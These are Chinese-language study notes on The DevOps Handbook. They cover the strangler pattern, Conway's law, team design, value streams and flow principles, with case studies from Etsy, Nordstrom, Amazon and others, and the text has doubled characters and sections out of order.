让现有功能放置在API后⾯面,避免进⼀一步变动 所有新功能由新服务执⾏行行,使⽤用新架构 必要时再调⽤用⽼老老系统 可以⽤用来移植部分单体应⽤用或紧 耦合服务到⼀一个解耦的架构 实现⽣生产率,可测 试和安全的架构 解耦的架构,良好定义的接⼝口 可以让⼩小的、有⽣生产率的、2PT团队 将⼩小的变更更安全和独⽴立的部署 每个服务有良好定义的API,服务测 试更更容易易,建⽴立团队间的契约和 SLAs更更容易易 世界最⼤大的NoSQL服务 只有8⼈人⽀支持 基于很多层之上构建 SOA架构 让⼩小团队可以⼯工作在⼩小的和简单的单元 每个团队独⽴立部署,快速并安全 Google和Amazon展示了了这种架构影 响了了组织架构,灵活性和可扩展性 虽然数万开发⼈人员,⼩小团队们可以有 难以置信的⽣生产率 架构原型,单体 VS 微服务 历史上很多DevOps组织都经历了了紧耦合单体架构,帮助他 们达到产品与市场匹配,但规模化时让组织⾄至于⻛风险中 eBay’s monolithic C++ application in 2001, Amazon’s monolithic OBIDOS application in 2001, Twitter’s monolithic Rails front-end in 2009, and LinkedIn’s monolithic Leo application in 2011 但是他们可以重新架构,不不仅⽣生存,⽽而且取得市场成功 单体架构并不不是不不好,在产品早期 是最好选择,但架构需要不不断演进 Case:Evolutionary Architecture at Amazon (2002) 使⽤用绞杀者模式,安全演进企业架构 通过版本化的APIs访问所有服务, 或者称为版本化服务或不不可变服务 修改服务⽽而不不影响调⽤用者,让各系统更更解耦 如果修改参数,创建⼀一个新的API版 本,让依赖这个服务团队移植到新版本 注意新绞杀者应⽤用不不要与其他服务紧耦 合(⽐比如不不能直接访问另外⼀一个服务的 数据库),否则⽆无法达到重构的⽬目标 如果我们调⽤用的服务没有清晰定义的 API,需要构建它们或者⾄至少提供⼀一 个客户端lib库 重复从紧耦合架构解耦功能,⼯工作在安 全灵活的⽣生态系统,让开发更更有⽣生产率 创建绞杀者应⽤用不不仅是⽤用新技术重做 已存在的功能,有时业务流程也需要 重新设计的更更简单 Case:Strangler Pattern at Blackboard Learn (2011) Part II:Where to start 5. 选择开始的价值流 Case:Nordstrom的DevOps转型 背景 始于1901年年,时装零售商领导者,2015年年收⼊入$13.5 billion 2011年年的战略略是要提升在线收⼊入 2011年年,技术组织主要是优化成本 ⼤大量量技术⼯工作外包 按年年度做计划 ⼤大批量量的瀑布模式软件发布 即使有97%成功率,达到时 间、预算和范围⽬目标 仍然⽆无法满⾜足五年年业务战略略⽬目标 开始优化速度⽽而不不仅仅是优化成本 转型之路路 不不想让变⾰革引起整个系统的⼤大动荡 聚焦在特定业务领域,可以实验和学习 示范早期成功,给每个⼈人改进信⼼心 专注在⽆无法达成业务⽬目标的领域中 移动应⽤用 客户不不满意,在App Store中充满负⾯面评价 现有系统的结构和流程导致每年年只能发布两次 ⽬目标:快速、按需的发布,快速迭代满⾜足⽤用户需求 改进⽅方案 不不⽤用依赖很多其他公司内的团队 从每年年⼀一次计划,调整到持续计划 创建专注的产品团队,只负责App应⽤用 单⼀一优先级的,按客户需求的Backlog 避免了了团队⽀支持不不同产品时优先级冲突 独⽴立开发、测试、交付价值给客户 排除测试作为单独阶段,⽽而是集成 到每个⼈人的⽇日常⼯工作中 改进成果 每个⽉月两倍的功能交付 ⼀一半的缺陷数量量 服务内部餐厅的系统 不不像App的⽬目标是优化速度和增加吞吐 量量,这⾥里里的⽬目标是降低成本和提升质量量 2013年年有11个⼤大的变更更,导致很多影响客户的事故 2014年年计划了了44个变更更 有⼈人建议将团队数量量提升三倍⽤用来满 ⾜足需求 更更好的建议:停⽌止投⼊入更更多⼈人解决问 题,⽽而是应该改进⼯工作⽅方式 改进⽅方案 改进服务⼊入⼝口、部署流程 改进成果 降低部署前置时间60% 降低产品事故60%到90% 2015年年,管理理⽬目标是让技术组织降 低服务交付时间20% 可以⽤用的技术 价值流图 减⼩小批量量 微服务 单件流 持续交付 有信⼼心,在正确的⽅方向上 让每个⼈人知道努⼒力力会达到更更⾼高的管理理⽬目标 GREENFIELD VS. BROWNFIELD SERVICES 城市规划和建筑项⽬目 Greenfield 未开发的⼟土地 Brownfield 之前⼯工业⽤用途的⼟土地 可能有污染 现存结构需要拆除 Brownfield DevOps projects 产品或服务已经服务客户,运⾏行行多年年 通常有很多技术债,如⽆无测试⾃自动 化,或运⾏行行在不不⽀支持的平台上等 60%在DevOps企业峰会上的案例例是 Brownfield projects 2015 State of DevOps Report 应⽤用的年年龄不不是预测效能的指标 应⽤用的架构可以根据可测性、可 部署性重构才是预测指标 转型的阻碍和问题 没有⾃自动化测试 架构紧耦合,⽆无法⼩小团队独⽴立⼯工作 Case:CSG (2013) 初始改进范围: bill printing COBOL主机应⽤用和20个周边技术平台 交付给客户从每年年两次提升到四次 每⽇日部署到准⽣生产环境 ⼤大幅提升了了可靠性,部署前置时间从 2周降低到⼩小于1天 Case:Etsy(2009) 从『仅仅从购物季幸存』,到整体组织转型 成功进⾏行行转型,2015年年IPO Greenfield DevOps projects Case:美国国家仪器器公司 30年年的企业,5千⼈人,每年年收⼊入$1 billion 2009年年LabVIEW产品 让LabVIEW产品上市时间⽐比普通产品减少⼀一半 为了了让产品快速上市 使⽤用DevOps实践 成⽴立新的团队 可以在现有IT流程之外运⾏行行 使⽤用公有云 团队组成 1个应⽤用架构 1个系统架构 2个开发 1个系统⾃自动化开发 1个运维主管 2个离线运维员⼯工 新项⽬目,或计划和执⾏行行的早期阶段 ⽆无约束 ⽆无已有的代码和流程影响 团队和资源已经到位 通常是试点云、⾃自动化部署和⼯工具等 SYSTEMS OF RECORD AND SYSTEMS OF ENGAGEMENT SOR ERP类的系统 MRP,HR,财务报表系统 慢节奏,有监管和合规性需求(如SOX) 交易易和数据的正确性是⾸首要的 Focuses on “doing it right.” SOE ⾯面向客户或者员⼯工使⽤用的系统 电⼦子商务系统或⽣生产率应⽤用 快节奏变更更,迅速反馈环,进⾏行行实验 探索满⾜足客户需求的最佳⽅方式 Focuses on “doing it fast.” DevOps破除障碍,既有⾼高吞吐量量⼜又保证可靠性 有观点不不⽀支持bi-modal IT 每个客户都应得到快速和质量量 需要技术卓越,⽆无论是⽼老老应⽤用还是新系统 改进⽼老老应⽤用时不不仅要降低复杂性,提 升稳定性和可靠性,还要优化速度 即使新应⽤用经常是greenfield的SOE 系统,但是经常导致下游的 brownfield的SOR系统可靠性问题 所以需要整个组织更更快和更更安全达成⽬目标 从最赞同和创新的组开始 接受新想法,需要跨越鸿沟 需要找到认同DevOps原则和实践的团队 聚焦在有⼀一定⻛风险承受能⼒力力的组,创造出成功,打好基础 早期不不要花费⼤大量量时间⽤用于转化保守的组 即使有⾼高层的⽀支持,我们也要避免big bang的模式 聚焦在组织中的⼀一些领域,确保创新成功,然后再从此扩展 跨越整个组织扩展DevOps 示范早期的成功,⼴广播我们的成功 将⼤大的改进⽬目标分解为⼩小的、增量量的步骤 实施步骤 找到创新者和早期采纳者 真正需要帮助的团队 志趣相投和同路路⼈人 有影响⼒力力和公信⼒力力 构建群聚效应和沉默的⼤大多数 扩展联盟,制造从众效应 绕开危险的政治⽃斗争 识别顽固分⼦子 明确⽴立场,有影响⼒力力的贬损者 有时甚⾄至诋毁 只有取得⾜足够的成功时才与这个组交涉 6. 理理解价值流,可视化,横跨组织扩展 改进价值流的最好⽅方法:引导所有⼲干 系⼈人梳理理价值流图workshop 识别⽀支撑价值流的⻆角⾊色 PO:内部的业务声⾳音,定义服务中的功能集合 Dev:开发服务中的应⽤用功能 OP:维护⽣生产环境,确保服务级别需求满⾜足 Release managers:管理理和协调⽣生产环境部署和发布流程 QA:确保反馈环存在,保证服务功能按预期 Technology executives or value stream manager: 确保整个价值流达到或超越客户需求 InfoSec:安全系统和数据 创建价值流 不不是⽂文档化每⼀一步的细枝末节,⽽而是理理解危 及快速流动、端前置周期和可靠性的部分 特别关注 ⼯工作等待数周或数⽉月 变更更审批流程 安全审批流程 等待类⽣生产环境 显著的返⼯工发⽣生或接收 第⼀一版本价值流 只包含⾼高阶流程,5到15个流程Blocks 每个Blocks包含前置时间、处理理时间、下游的%C/A 例例⼦子 上游缺乏必要信息,导致低 %C/A 未提供正确配置的测试环境配置给开 发,导致⻓长前置周期和低%C/A 每次发布前回归测试,导致⻓长前置周期 创建专职的转型团队 转型的挑战:与现有的业务运⾏行行冲突 专职的⼩小组负责达到清晰定义、可度 量量、系统化的结果 如:降低部署前置时间50% 具体要求 只分配DevOps转型⼯工作,⽽而不不是花 费20%时间⽤用于做新的DevOps⼯工作 选择团队成员是多⾯面⼿手,掌握多领域技能 选择在组织中资深,受到尊敬的成员 提供独⽴立的物理理场所,最⼤大化沟通流,与组织其余部分隔离 从现有组织的规则和政策中脱离出来,建⽴立新的流程 共享的⽬目标达成⼀一致 降低花在产品⽀支持和计划外⼯工作50% 95%的变更更,从代码提交到⽣生产发布的周期⼩小于⼀一周 零停机发布,在⽇日常业务时段 在流⽔水线中集成所有需要的信息安全控制,满⾜足所有合规需求 改进⼯工作迭代,持续进⾏行行,通常每迭代2-4周 保持改进计划⾜足够短 按周产⽣生可度量量的改进或可⾏行行动的数据 预留留20%时间⽤用于⾮非 功能需求和减少技术债 投资⾄至少20%的整体开发和运维周期,否则⼯工 程师时间都花在解决可靠性问题或变通问题上 投资⾃自动化⼯工作和架构 重构 ⾮非功能需求 可维护性 可管理理性 可扩展性 可靠性 可测试性 可部署性 安全 Case:Operation InVersion at LinkedIn (2011) 7. 考虑康威定律律,设计组织和架构 康威定律律 设计系统的组织,产⽣生的设计会拷⻉贝 组织间的沟通结构 我们设计团队的⽅方式,会对我们⽣生产 的软件产⽣生巨⼤大的影响 Case:Etsy 2009开始 DevOps 之旅 2007年年开发的Sprouter,连接⼈人、 流程和技术,但是产⽣生⾮非预期的结果 每次开发要增加新功能,都需要 DBA团队写新的存储过程;开发 创建新功能需要依赖DBA团队 需要排序,沟通 协调,队列列,会议 ⻓长的前置时间 Sprouter:stored procedure router 允许开发在应⽤用中写PHP代码,DBA在Postgres ⾥里里写SQL,Sprouter帮助他们在中间相遇 开发恐惧写SQL 开发恐惧碰⽣生产环境 Sprouter在前端PHP应⽤用和Postgres DB之间, 集中访问数据库,向应⽤用层隐藏数据库执⾏行行 问题是,任何业务逻辑变更更导致 开发和DB团队的摩擦 Sprouter制造了了紧耦合,不不能让开发独 ⽴立开发,测试和部署代码到⽣生产环境 DB存储过程也与Sprouter紧耦合,任 何存储过程变更更,Sprouter也需要变 Sprouter变成越来越⼤大的单点故障 按照康威定律律解释 Sprouter试图让两个团队更更轻松,但 是它未能达成期望 Etsy初始有两个团队,开发和DBA, 分别负责应⽤用逻辑和存储过程层 业务规则变更更时,从两层变更更,改为 三层都要变更更(增加Sprouter层) 2009年年,新CTO变⾰革 ⼤大量量投资站点稳定性,让开发⾃自⼰己部 署变更更到⽣生产环境,排除Sprouter 将所有业务逻辑从数据库层转移到应 ⽤用层,移除对Sprouter的需要 建⽴立⼀一个⼩小团队写PHP OR Mapping, 让前端开发直接访问数据库,业务逻辑 变更更从3个团队减少到1个团队 新功能⽤用ORM代替Sprouter,⽼老老功 能逐步替换,整体花费两年年时间 移除了了业务逻辑变更更时,多团队协作的问题,降低了了交接数量量,显著 提升⽣生产环境部署的速度和成功率,改进了了站点稳定性;由于⼩小团队 可以独⽴立开发和部署,变更更不不依赖其他团队,开发⽣生产率提升 Dr. Melvin Conway 1968年年实验 8个⼈人制作COBOL和ALGOL编译器器 5⼈人分配去做COBOL,3⼈人分配去做ALGOL 结果是COBOL编译器器运⾏行行需要五 步,ALGOL编译器器运⾏行行需要三步 三种组织结构 ⾯面向职能的 主要为专业性、⼈人⼒力力划分和降低成本优化 集中专业知识,帮助职业成⻓长和技能发展 经常是⾼高等级制度的组织结构 曾经在运维组织流⾏行行,如系统管理理员、⽹网络 管理理员、数据库管理理员等都分到不不同的组 ⾯面向矩阵的 试图结合⾯面向职能和⾯面向市场 矩阵组织经常导致复杂的组织结构 个⼈人汇报给两个或更更多领导 有时⽆无论职能⽬目标还是市场⽬目标都未达成 ⾯面向市场的 主要为快速响应⽤用户需求优化 组织趋于扁平,由多样、跨学科的⻆角 ⾊色组成(如市场、⼯工程师等) 很多采⽤用DevOps的重要组 织是这样运作的 Amazon or Netflix 每个服务团队同时负责 功能交付和服务⽀支持 会导致在组织内潜在的冗余 问题经常由过度的⾯面向职 能导致(为成本优化) 传统IT运营组织,经常使⽤用⾯面 向职能的⽅方式组织团队专⻓长 数据库管理理员在⼀一个组 ⽹网络管理理员在另⼀一个组 服务器器管理理员在第三个组 可⻅见的结果是⻓长的前置时间, 特别是⼤大规模部署等复杂活动 必须在多个组之间开⼯工单, 并且协调⼯工作和交接 导致每⼀一步都在⻓长队列列中等待 员⼯工执⾏行行⼯工作经常不不知道他们 的⼯工作与价值流⽬目标的关系 『我配置服务器器只因为别⼈人让我做的』 制造了了员⼯工创造性和积极性的真空 当每个运营职能域服务多个价值流 (如多开发团队)时,问题更更加恶化 为了了让开发团队按时完成⼯工 作,经常需要升级问题到经理理 或总监,最终到决策层 决策层根据整个组织⽬目标⽽而不不是 每个职能竖井的⽬目标确定优先级 然后决定需要下发到每个职能 域,改变局部优先级 反过来⼜又让其他团队慢下来 如果每个团队都这样做,每 个项⽬目也都会慢下来 类似的,⾯面向职能团队也经常被集中 的测试和信息安全职能采⽤用 当低频软件发布时⼯工作正常 当增加开发团队数量量或发布和部 署频率的时候,⾯面向职能的组织 很难保持和交付满意的结果 尤其他们的⼯工作都是⼿手⼯工进⾏行行的时候 启动⾯面向市场的团 队(为速度优化) ⾯面向市场的团队不不仅负责功能开发,还有测试、安 全、部署和服务在⽣生产环境的⽀支持,从概念到退出 团队设计成跨职能的和独⽴立的 这样他们可以更更快 可以设计和运⾏行行⽤用户实验 构建和交付新功能 部署并在⽣生产环境运⾏行行他们的服务 修复缺陷⽽而不不依赖其他团队⼈人⼯工处理理 这种模型已经被Amazon和Netflix采⽤用,并且是 Amazon在成⻓长过程中依然能够快速⾏行行动的主要原因 如何做到 需要把⼯工程师和技能(如运维、测试、 信息安全等)嵌⼊入到每⼀一个服务团队 不不要做⼤大型,⾃自上⽽而下的组织 经常制造⼤大量量的中断、恐惧和停顿 或者通过⾃自动化的⾃自服务平台,把 他们的能⼒力力提供给团队 准⽣生产环境 初始化⾃自动化测试 执⾏行行部署 能够让每个服务团队独⽴立交付价值给客户,⽽而不不需要 新建⼯工单给其他组,如IT运营,测试,信息安全等 测试、运营和安全是每个⼈人每天的⼯工作 ⾼高绩效组织中,团队的每个⼈人共享通⽤用⽬目标,质量量、可⽤用 性和安全不不是单独部⻔门的责任,⽽而是每个⼈人每天的⼯工作 每天最紧急的可能是部署客户功能或修复严重程度 1 的产 品事故,或评审同事的变更更,或紧急安全补丁,或为了了让 同事更更有效率⽽而做的改进 Case:Facebook在2009年年⼤大规模增⻓长时 遇到代码部署的严重问题 经常救⽕火和⻓长时间解决问题 最有效的改进:让所有的⼯工程师,包括经 理理和架构师轮流对他们构建的服务值班 让每个⼈人感受到上游进⾏行行的架构和代码决 策,如何影响到下游结果 CTO at Ticketmaster,⽤用美式⾜足球 ⽐比喻Dev和Ops Dev负责进攻,Ops负责防守 其实⽐比喻有瑕疵,因为他们 根本不不在⼀一个团队 新的⽐比喻:Ops是进攻先锋, Dev是四分卫,Ops的⼯工作就是 确保Dev有⾜足够的时间实施⽐比赛 让每个⼈人成为多⾯面⼿手 过度的专业化会导致竖井化 任何⼀一个复杂的运维活动都需要在不不 同基础设施域中间做很多交接和排队 导致⻓长的前置时间 ⽐比如⽹网络变更更必须由⽹网络部⻔门的⼈人执⾏行行 我们依靠⽇日益增多的技术,需要有⼯工 程师在特定技术领域很精通 但我们不不希望他们只理理解和只能在技 术价值流的某个领域做出贡献 交叉培训并提升⼯工程师技能,多⾯面⼿手 可以做⽐比专家同⾏行行更更多的事情,并且 也可以改进整个价值流并移除队列列和 等待时间 fixed mindset 智⼒力力和能⼒力力是静态『给定』的 growth mindset ⿎鼓励学习,帮助⼈人们克服学习焦虑,确 保⼈人们能够有相关技能并定义学习地图 学习型组织需要⼈人们愿意学习 ⿎鼓励每个⼈人学习,并提供培训和学习 建⽴立了了更更可持续和低成本的达到伟⼤大 的⽅方式,投资和开发已有的⼈人员 对策就是⿎鼓励每个团队成员成为多⾯面⼿手 为⼯工程师提供机会,学习在构建 和运⾏行行系统所使⽤用的必要技能 有规律律的在不不同⻆角⾊色间轮岗 全栈⼯工程师:⾄至少对整个应⽤用栈 (如应⽤用代码、数据库、操作系 统、⽹网络、云)有⼀一般的理理解 让⾯面向职能团队⼯工作 ⾯面向职能和集中的运维团队是可⾏行行的,只要服务团队 可以通过从运维可靠和快速的获取所需,反正亦然 其实可以建⽴立起有效、⾼高速率的⾯面向职能团队 跨职能团队和⾯面向市场团队是⼀一种取得快速 流动和可靠性的⽅方式,但不不是唯⼀一路路径 让价值流中的每个⼈人看到客户和组织结果作 为共享⽬目标,不不论他们身在哪个组织中 很多让⼈人敬佩的DevOps组织保持着⾯面向 职能的团队,如Etsy,Google和GitHub ⾼高度信任⽂文化,可以让所有部⻔门⼀一起 ⾼高效⼯工作,所有⼯工作优先级透明,有 充⾜足的空闲让⾼高优⼯工作快速完成 在某种程度上依靠⾃自动化的⾃自服务平 台,内建质量量到每个⼈人构建的产品中 在精益制造运动中,丰⽥田是⾯面向职能 的组织,与最佳实践(跨职能、⾯面向 市场)的不不同,被称为第⼆二丰⽥田悖论 决定性因素不不是组织形式,⽽而是⼈人员 ⾏行行动和反应的⽅方式 丰⽥田的成功不不是因为组织结构,⽽而是 开发员⼯工的能⼒力力和习惯 出资服务和产品,⽽而不不是项⽬目 这些团队有专属的⼯工程师,交付内部和外 部客户承诺,包括功能,故事和任务 创造稳定的服务团队,持续资助执⾏行行他们 ⾃自⼰己的策略略和⽅方案路路线 更更传统的⽅方式是开发和测试团队被指派到项⽬目,然 后在项⽬目完成和资⾦金金耗尽后重新指派到其他项⽬目 这样导致⾮非期望的结果,⽐比如开发不不能看到他们决 定带来的⻓长期结果,资⾦金金模型只⽀支持软件⽣生命周期 的最早阶段,也是⼀一个产品成功最低成本的部分 ⽬目标是基于产品的资⾦金金模型取得组织级和客户结 果,如收⼊入,客户终身价值和客户接受率,理理想情 况使⽤用最⼩小的产出(⼯工作量量或时间、代码数) ⽽而传统项⽬目度量量的是在预算、时间、范围内完成项⽬目 设计团队边界,参照康威定律律 当主要沟通机制是⼯工单或变更更请求, 甚⾄至外包合同时,协作被阻塞 组织成⻓长的最⼤大挑战就是在不不同⼈人员 和团队间维持⾼高效沟通和协作 当把团队按职能切分(如开发、测试不不 同地点或整个外包),或架构分层(应 ⽤用、数据库)时,会导致很差的产出 ⼤大量量返⼯工 技术规格分歧 很差的交接 有⼈人空闲等待他⼈人 跨越不不同楼层、⼤大厦、时区,共同理理解 和相互信任更更难,阻碍⾼高效协作 理理想情况下,软件架构应该 让⼩小团队独⽴立、⾼高产 充⾜足的解耦 ⼯工作可以完成⽽而不不需过 ⾼高和不不必要的沟通协作 创建解耦的架构,助⼒力力开发的 ⽣生产效率和安全 如果是紧耦合的架构 ⼩小变更更可能引起⼤大范围失败 测试整个系统,需要集成成百上千其他开 发⼈人员,反过来影响同样多的交互系统 ⼯工作在系统中某个部分的每个⼈人,都需 要持续与可能影响到的其他部分的⼈人⼀一 起协作,包括复杂和官僚僚的变更更流程 增⻓长了了变更更前置时间,降低了了开发效 率和部署结果 测试在稀有的集成环境进⾏行行,经常需 要数周时间获取和配置 我们需要解耦的架构 让⼩小团队的开发⼈人员可以独⽴立实施、测 试、部署代码到⽣生产环境,安全且快速 增加和维持开发⽣生产率,改进部署结果 SOA架构(1990s提出)系统由根据 限界上下⽂文解耦的服务组成 解耦的架构意味着服务可以独⽴立更更新 ⽣生产环境,不不需要其他服务更更新 重要的是,服务必须从共享数据库解 耦(即使共享数据库服务,但没有通 ⽤用的Schemas) 限界上下⽂文是在领域驱动 设计⼀一书中描述 开发应该能够在不不知道其他服务内部 实现的情况下,理理解和更更新服务代码 与其他服务交互完全通过APIs,不不能共 享数据结构和Schema,或者内部对象 服务良好划分,接⼝口清晰,可以更更轻 松的进⾏行行测试 Google App Engine Director:⾕谷歌和亚⻢马逊⾯面向服务的架构拥有难以 置信的灵活和可扩展性,众多⼩小团队的数万开发依然及其有⽣生产率 保持团队⾜足够⼩小(2 pizza team) 康威定律律让我们根据期望的沟通模式设计团队边界,但也⿎鼓励保持团队 规模⾜足够⼩小,降低团队内沟通,⿎鼓励保持团队领域范围⾜足够⼩小和有界限 Amazon 2002年年从单体架构转型,使⽤用两个披萨的⼩小团队规则,通常5-10⼈人 限制团队规模的好处 团队有对所⼯工作的系统有清晰,共同的理理解 限制产品或服务的增⻓长率,为了了维持共同的理理解 下放权利利,实现⾃自治 每个2PT团队都尽可能⾃自治 团队Lead,跟管理理层⼀一起,决定团队所 负责的核⼼心业务指标,⽐比如适当的功能 指标作为团队实验的整体评估标准 然后团队能够⾃自治的活动,最⼤大化度量量指标 ⼩小团队速度快,不不会陷⼊入⽂文案⼯工作泥泥潭,每个团队分配到 特定的业务并完全负责。团队范围固定,设计、构建、执 ⾏行行和监控,开发和架构师可以直接从业务⽤用户获取反馈 在失败没有灾难性影响的环境中, 2PT是让员⼯工获得领导经验的⽅方式 Amazon的⼀一个核⼼心策略略是连接2PT 的组织结构与⾯面向服务架构 Case:API Enablement at Target (2015) 8. 将运维集成在⽇日常开发⼯工作中 我们的⽬目标是市场导向的结果, ⼩小团队快速和独⽴立交付价值 运维如果是中⼼心化和⾯面向职能的,服 务多个开发团队,对达成⽬目标不不利利 ⻓长前置时间,持续的调整优先 级和升级,很差的部署结果 Case:Big Fish Games 2013 ⼀一开始将运维⼯工程师和架构师嵌⼊入到开发团队 但是没有⾜足够的运维⼯工程师⽀支持众多团队 后来采⽤用Ops联络员机制 业务关系经理理 跟产品管理理层⼯工作 熟悉产品路路线和业务 是产品在运维内部的代表 帮助产品团队明确运维路路标 专属的发布⼯工程师 熟悉产品开发和测试对运维的需求 帮助他们获取所需 确定⾃自服务⼯工具优先级 创建共享服务,提升开发⽣生产率 共享的版本控制库,预置了了安全库 部署流⽔水线,⾃自动化运⾏行行代码质量量和安全检查 部署应⽤用到已知的就绪的环境,已经有监控⼯工具 共享服务促进了了标准化,让⼯工程师更更有效率 Netflix⾃自服务:“It’s okay for people to be dependent on our tools, but it’s important that they don’t become dependent on us.” 持续寻找已在⼯工作的内部⼯工具链,扩展为集中化让 每个⼈人可以使⽤用的,这样⽐比重新设计更更容易易成功 将运维⼯工程师嵌⼊入服务团队 与开发,测试和信息安全⼀一起⼯工作 创建⼯工具和能⼒力力,改变⼯工作⽅方式 参加开发团队仪式,如计划会、每⽇日站会 另外的好处:开发运维结对,可以交叉培 训,有助于转换运维知识到⾃自动化的代码 为每个服务团队指派运维联络员 Etsy: 指定运维,需要理理解 新功能及其构建原因 与可运维性、可扩展 性、可观测性相关内容 监控和收集指标 评判与背离之前架构和模式的正当性 基础设施的需求和容量量 功能发布计划 参加开发团队仪式 邀请运维到开发站会 信息辐射,进⾏行行中和已完成任务 更更好的计划和准备 邀请运维到开发回顾会 展示结果和学习结果,反馈到产品团队 示例例反馈 找到监控盲区,本迭代已经补全 部署困难,改进的思路路 某事很困难,不不要再这样进⾏行行了了 防⽕火墙规则问题,重新架构 运维的反馈让产品团队更更好理理解他们的决定对下游的影响 提醒每个⼈人,⽐比⽇日常⼯工作更更重要的是改进⽇日常⼯工作 通过共享看板让运维⼯工作可视化 清晰看到将代码转移到⽣生产环境的⼯工作 看到运维⼯工作被阻塞,需要升级处理理或改进的部分 Part I:The three ways Introduction DevOps及其产⽣生的技术、架构、⽂文化 实践,是很多哲学和管理理运动的集合 THE LEAN MOVEMENT( 1980s) Toyota Production System Value Stream Mapping Kanban Boards Total Productive Maintenance lead time是⾼高质量量、客户满意和员⼯工 愉悦的预测器器 缩短lead time的预测器器:⼩小批量量⼯工作 精益原则聚焦在如何通过系统思考为 ⽤用户创造价值 THE AGILE MANIFESTO(2001) 轻量量级软件开发流程 ⼩小批量量,增量量式的发布 ⼩小的⾃自组织团队,⾼高度信任的管理理模型 AGILE INFRASTRUCTURE AND VELOCITY(2009) 10 Deploys per Day: Dev and Ops Cooperation at Flickr Patrick:DevOpsDays⼤大会 DevOps⼀一词的由来 THE CONTINUOUS DELIVERY MOVEMENT(2009) 在持续构建,测试和集成的基础上 Jez Humble 与 David Farley扩展为:持续交付 Deployment pipeline 确保代码和基础设施⼀一直处 于可部署状态 所有签⼊入到trunk的代码可 以安全的部署到⽣生产环境 TOYOTA KATA(2009) 困惑:没有⼀一个学习丰⽥田精益实践的 组织能够复制丰⽥田⼯工⼚厂观察到的⾼高效 遗漏漏了了⼀一个最重要的实践: improvement kata 每⽇日⼯工作的持续改进 建⽴立⽬目标状态 设置周⽬目标产出 在⽇日常⼯工作中持续改进 1. 敏敏捷,持续交付和三步⼯工作法 价值流 Value Stream ⽣生产制造的价值流 设计、⽣生产和交付产品或服务给⽤用户所需的 ⼀一系列列活动,包括信息和材料料的双重流动 聚焦在创造平顺和流式的⼯工作 ⼩小批量量 减少在制品 避免返⼯工 根据全局⽬目标持续优化 技术的价值流 在物理理过程中加快⼯工作流动的原则和模 式,同样适应于技术⼯工作 技术价值流:将商业假设转换为技术辅 助的服务,交付价值给⽤用户所需的流程 输⼊入是商业⽬目标和假设,从接受开发⼯工 作并加⼊入到承诺的Backlog中开始 典型的敏敏捷开发团队将需求转化为⽤用户故事,开发代 码并签⼊入到版本控制库,然后每个变更更被集成和测试 因为只有当服务运⾏行行在⽣生产环境时才交付了了价值, 所以必须确保不不仅快速交付,⽽而且部署没有产⽣生混 乱、服务中断和安全或合规性的失败 聚焦在缩短部署前置时间 关注的起点:⼯工程师将变更更签⼊入版本控制;终点:变更更成功运⾏行行在⽣生产环境, 提供价值给客户并收集有⽤用的反馈和监测 第⼀一段:设计和开发 类似于精益产品开发 ⾼高度的易易变性和不不确定性 深度创新⼯工作,导致⾼高度易易变的处理理时间 第⼆二段:测试和运维 类似于精益⽣生产制造 需要创新和专业知识 可预测和机械性 以最⼩小的易易变性完成⼯工作产出 短的和可预测的前置时间 接近零缺陷 避免⼤大批量量⼯工作从设计/开发价值流,传递到 测试/运营价值流,如瀑布流程或⻓长功能分⽀支 我们的⽬目标是测试/运营与设计/开发同时进 ⾏行行,确保快速流动和⾼高质量量 Lead Time vs. Processing Time Lead Time 开始:需求提出 结束:需求被满⾜足 Process Time 开始:开始针对客户需求⼯工作 不不包含在队列列中等待的时间 处理理时间与前置时间的⽐比例例是重要的效率指标 达到快速流动和缩短前置时间的⽬目标,需要缩 短队列列中的等待时间 常⻅见场景:部署前置时间数⽉月 ⼤大型,复杂组织 紧耦合,单体应⽤用 稀有的集成测试环境 很⻓长的测试和⽣生产环境lead time ⾼高度依赖⼿手⼯工测试 多个需要审批的流程 项⽬目末尾时发现多个开发团队 的变更更集成在⼀一起⽆无法⼯工作 修复问题需要数天甚⾄至数周的调查, 谁破坏的代码,以及考虑如何修复 DevOps典范:部署前置时间数分钟 开发收到他们⼯工作快速和持续的反馈 可以让他们快速和独⽴立的执⾏行行、集成 和验证代码,并部署到⽣生产环境(⾃自 助或通过他⼈人) 如何实现 持续将⼩小批量量代码签⼊入版本控制库, 执⾏行行⾃自动化测试和探索性测试,部署 到⽣生产环境 模块化架构,⾼高度封装和解耦,⼩小团 队可以⾼高度⾃自治,即使有⼩小的失败也 不不会导致全局中断 Percent complete and accurate (%C/A) 作为返⼯工的度量量 反映价值流中每⼀一步输出的质量量 三步⼯工作法:DevOps的基础原则 First Way enables fast left-to-right flow 从开发到运营到客户 让⼯工作可视化 减少⼯工作批量量和间隔 内建质量量 防⽌止缺陷流转到下游 实践:持续构建、集成、测试、部署; 按需创建环境,限制在制品,构建安全 变更更的环境和组织 为全局⽬目标持续优化 Second Way enables the fast and constant flow of feedback from right to left 放⼤大反馈,防⽌止问题再次发⽣生 快速探测和恢复 在源头建⽴立质量量 在需要时,产⽣生和嵌⼊入需要的知识 持续缩短和放⼤大反馈循环 Third Way enables the creation of a generative, high-trust culture ⽀支持动态、纪律律性和科学的⽅方法进⾏行行实验和冒险 促进形成组织学习,⽆无论是成功或失败经验 构建更更为安全的⼯工作系统,更更好承担⻛风 险和进⾏行行实验,⽐比竞争对⼿手学习更更快 将新知识、变⾰革中的局部发现转换为全局改进 2. The Principles of Flow 优化全局⽬目标⽽而⾮非局部⽬目标 局部⽬目标 开发功能完成率 测试缺陷发现率 运维可⽤用性度量量 全局⽬目标 降低变更更部署到⽣生产环境的时间 增加服务的可靠性和质量量 让⼯工作可视化 技术价值流和制造业价值 流的区别:⼯工作不不可视 ⽆无法轻易易看到阻塞和约束点的积压 团队之间容易易因信息不不全⽽而踢⽪皮球, 问题延迟到投产才发现 Kanban 或 Sprint计划板是可视化⼯工作的好办法 不不仅我们的⼯工作变得可视化了了 还可以管理理流动,从左到右越快越好 可以度量量前置周期(从卡⽚片放到看板 到移动到Done状态) 看板跨越整个价值流,不不仅是开发完成, 要运⾏行行到⽣生产环境,交付价值到客户 ⼲干系⼈人可以根据全局⽬目标调整优先级 每个⼯工作单元可以优先完成最⾼高优先 级的单⼀一任务,增加吞吐量量 限制在制品 (WIP) ⼯工作的动态性 尤其是要服务于不不同需求⽅方的共享服务 处理理来⾃自各种渠道的紧急⼯工作 ⼯工单系统 邮件,电话,聊天室 管理理的向上汇报 ⽇日常⼯工作经常被打断,多任务上下⽂文切换成本⾼高 通过看板可以限制并⾏行行任务, ⽐比如限制每列列的卡⽚片数的上限 ⽐比如测试的WIP限制为3 如果已经达到3个卡⽚片 ⽆无法有新的卡⽚片加⼊入 